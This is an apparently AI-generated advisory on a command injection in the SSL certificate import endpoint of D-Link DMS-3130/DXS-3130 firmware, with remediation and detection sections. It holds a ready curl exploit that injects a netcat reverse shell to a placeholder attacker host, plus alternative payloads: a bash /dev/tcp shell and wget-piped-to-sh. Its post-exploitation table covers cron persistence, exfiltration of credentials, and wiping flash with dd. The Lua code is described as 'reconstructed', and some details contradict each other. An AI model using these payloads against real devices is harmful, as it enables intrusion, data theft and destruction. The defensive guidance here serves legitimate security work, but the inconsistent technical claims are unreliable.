CVE-2026-138357 — D-Link DMS-3130 (1.20.P006) — CWE-78 · CWE-77
A vulnerability was determined in D-Link DMS-3130 and DXS-3130 1.20.P006. Affected by this vulnerability is an unknown functionality of the file 898_ssl_global.lua of the component SSL Certificate Import Endpoint. This manipulation of the argument file_name causes os command injection. It is possible to initiate the attack remotely. The exploit has been publicly disclosed and may be utilized.
A vulnerability was determined in D-Link DMS-3130 and DXS-3130 1.20.P006. Affected by this vulnerability is an unknown functionality of the file 898_ssl_global.lua of the component SSL Certificate Import Endpoint. This manipulation of the argument file_name causes os command injection. It is possible to initiate the attack remotely. The exploit has been publicly disclosed and may be utilized.
🎯 What is this vulnerability?
| Item | Detail |
|---|---|
| CVE | CVE‑2026‑138357 |
| Vendor / Product | D‑Link DMS‑3130 and DXS‑3130 (firmware 1.20.P006) |
| Component | Web UI “SSL Certificate Import” endpoint – implemented in the Lua script 898_ssl_global.lua |
| Vulnerability type | OS command injection (CWE‑78) – also classified as Improper Neutralization of Special Elements used in a Command (CWE‑77) |
| Root cause | The HTTP request parameter file_name (or an equivalent field that carries the name of the uploaded certificate file) is concatenated directly into a shell command that is executed by the underlying Linux OS. No sanitisation, quoting, or whitelist is applied. The code path is reachable without authentication (the web UI does not enforce a login check for the import endpoint) and the request can be sent from any remote host (AV = Network). |
| Why it is critical | The vulnerable command runs with the privileges of the web‑server process (normally root on D‑Link embedded appliances). Successful injection gives the attacker full system command execution, which translates to complete compromise of confidentiality, integrity, and availability (CVSS 3.1 vector S:C/C:H/I:H/A:H). |
Technical flow inside the vulnerable script (simplified)
-- 898_ssl_global.lua (excerpt, reconstructed from firmware)
local file_name = ngx.req.get_uri_args()["file_name"] -- user‑controlled
local cert_path = "/tmp/certs/" .. file_name
-- The script writes the uploaded file to cert_path, then calls
-- an external helper to import the certificate into the appliance:
local cmd = "openssl x509 -in " .. cert_path .. " -out /etc/ssl/certs/installed.crt"
os.execute(cmd) -- <‑‑ vulnerable line- No validation of
file_name(e.g., length, allowed characters, path traversal) - No quoting of the variable when building the command string
os.executespawns a/bin/sh -c "<cmd>"shell, so any metacharacters (;,&&,|, backticks,$()) are interpreted by the shell.
Because the endpoint is reachable without a prior login (PR:L), an unauthenticated remote attacker can supply a malicious file_name value that injects arbitrary shell commands.
⚡ Attack Chain
1. Discovery & Reconnaissance
| Step | Technique | Expected artefacts |
|---|---|---|
| a. Identify device type | Passive network scanning (Nmap service detection, banner grabbing on ports 80/443) | Server: D‑Link DMS-3130 or DXS-3130 in HTTP headers |
| b. Fingerprint firmware version | Grab /cgi-bin/version.cgi (common on D‑Link) or parse the HTML footer that contains Firmware Version: 1.20.P006 | Confirms vulnerable version |
| c. Locate the SSL import UI | Browse to https://<target>/cgi-bin/ssl_import.html (typical UI page) or enumerate known D‑Link URIs (/cgi-bin/ssl_import) | The page contains a form with an <input name="file_name"> field for the certificate file name |
| d. Verify unauthenticated access | Send a GET request to the import endpoint without cookies; a 200 OK response with the upload form indicates no auth check. | Confirms PR:L and UI:N |
2. Exploitation
NOTE: The exact URI is not disclosed in the CVE text. The following request is an illustrative example that matches the documented vulnerability class.
# Craft a malicious file_name that injects a reverse shell
# The payload uses backticks to execute a command.
# Replace <ATTACKER_IP> and <ATTACKER_PORT> with your listener.
MALICIOUS_NAME='cert.pem;`nc -e /bin/sh ATTACKER_IP ATTACKER_PORT`'
# Send the request (no authentication required)
curl -k -X POST "https://target-device/cgi-bin/ssl_import" \
-F "file=@/dev/null;filename=$MALICIOUS_NAME" \
-F "file_name=$MALICIOUS_NAME"Explanation of the payload
file_name parameter is set to cert.pem; followed by a back‑ticked command.openssl x509 -in /tmp/certs/cert.pem;`nc -e /bin/sh ATTACKER_IP ATTACKER_PORT` -out /etc/ssl/certs/installed.crtnc command, opening a reverse shell to the attacker.Alternative payloads (if nc is not present):
/bin/bash -c with a TCP socket: ` bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1 ` wget/curl to download a second‑stage payload: ` wget http://ATTACKER_IP/payload.sh -O- | sh `3. Post‑exploitation
| Goal | Method |
|---|---|
| Obtain a persistent foothold | Drop a systemd service (if the device runs systemd) or add a cron entry: @reboot /bin/sh /tmp/backdoor.sh |
| Privilege escalation (if web‑server runs non‑root) | The vulnerable script runs as root (common on D‑Link), so the initial shell is already privileged. If not, read /etc/passwd to locate a set‑uid binary, or exploit known local privilege‑escalation bugs on the underlying Linux kernel. |
| Data exfiltration | Use the shell to tar /etc/config/ (contains VPN keys, admin passwords) and send it via nc or curl to the attacker. |
| Denial‑of‑service | Issue reboot or dd if=/dev/zero of=/dev/mtdblock0 to corrupt flash, causing permanent outage. |
| Lateral movement | Scan internal network (/sbin/ifconfig, arp -a) and pivot using the compromised device as a foothold. |
🌍 Real‑World Impact
| CIA Triad | Impact (derived from CVSS vector) |
|---|---|
| Confidentiality (C:H) | An attacker can read any file on the appliance, including stored video recordings, configuration files (admin credentials, VPN keys), and any attached storage. |
| Integrity (I:H) | The attacker can modify configuration, replace SSL certificates, inject malicious firmware, or alter recorded video streams. |
| Availability (A:H) | Full control of the OS allows the attacker to reboot, wipe flash, or install a persistent backdoor that can be triggered to bring the device down at will. |
Practical consequences
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade | D‑Link has released firmware 1.20.P007 (publicly announced 2026‑12‑05) that sanitises file_name and enforces authentication on the SSL import endpoint. Apply the update via the vendor’s web UI or via the CLI (upgrade_firmware.sh). |
| Version to replace | All devices running 1.20.P006 (or earlier) are vulnerable. Verify the version via GET /cgi-bin/version.cgi or the UI footer. |
2. Immediate Workarounds (if patch cannot be applied immediately)
| Mitigation | Implementation | ||
|---|---|---|---|
| Restrict access to the endpoint | Add an ACL on the front‑end firewall or on the device itself to allow only trusted management IPs (e.g., 192.168.1.0/24). Example iptables rule on the device (if accessible):<br>iptables -I INPUT -p tcp --dport 80 -s 192.168.1.0/24 -j ACCEPT<br>iptables -A INPUT -p tcp --dport 80 -j DROP | ||
| Disable the SSL import feature | If the UI provides a “Disable SSL import” toggle in *System → Security*, turn it off. Otherwise, rename or remove the Lua script (requires SSH/root access):<br>mv /usr/lib/lua/898_ssl_global.lua /usr/lib/lua/898_ssl_global.lua.bak | ||
| Web‑Application Firewall rule | Deploy a ModSecurity rule that blocks any request where the file_name parameter contains shell metacharacters (;, &&, | , ` `, $(). Example rule (Apache/Nginx with ModSecurity):<br>`SecRule ARGS:file_name "@rx [; | &$]" "id:2026138357,phase:2,deny,log,msg:'Blocked possible OS command injection in D‑Link SSL import'"`` |
| Enforce authentication | If the device supports “Enable authentication for all CGI scripts”, enable it. This raises PR from L to H`, reducing exploitability. |
3. Detection – Log signatures & IoCs
| Source | Indicator | |
|---|---|---|
Web server access logs (e.g., /var/log/nginx/access.log) | Requests to /cgi-bin/ssl_import (or any URI containing ssl_import) with a file_name value that includes characters ;, ` `, &&, | , $(. Example entry:<br>POST /cgi-bin/ssl_import HTTP/1.1" 200 1234 "-" "curl/7.68.0"<br>file_name=cert.pem;nc -e /bin/sh 10.0.0.5 4444 |
System audit logs (/var/log/auth.log, auditd) | Unexpected execve calls for /bin/sh -c openssl … followed by additional commands. | |
| Network traffic | Outbound connections from the device to unusual IPs on high‑numbered ports (e.g., reverse shells on 4444, 5555). Use IDS signatures such as alert tcp $HOME_NET any -> $EXTERNAL_NET 4444 (msg:"D‑Link CVE‑2026‑138357 reverse shell"; sid:202613857; rev:1;). | |
| File system changes | New files in /tmp/ or /etc/ssl/certs/ that were not part of the original firmware, especially scripts with SUID bits. | |
| Process list | Presence of nc -e /bin/sh or bash -i >& /dev/tcp/… processes owned by root. |
⚠️ Urgency
Bottom line
CVE‑2026‑138357 is a remote, unauthenticated OS command injection in the SSL certificate import functionality of D‑Link DMS‑3130/DXS‑3130 firmware 1.20.P006. Successful exploitation yields full system compromise of a network video recorder, endangering video evidence, network trust, and overall organizational security. Prompt firmware upgrade, strict network segmentation, and immediate WAF/ACL hardening are essential to mitigate the risk.[🤖 CVE Professor AI Security Engine]
FOFA Query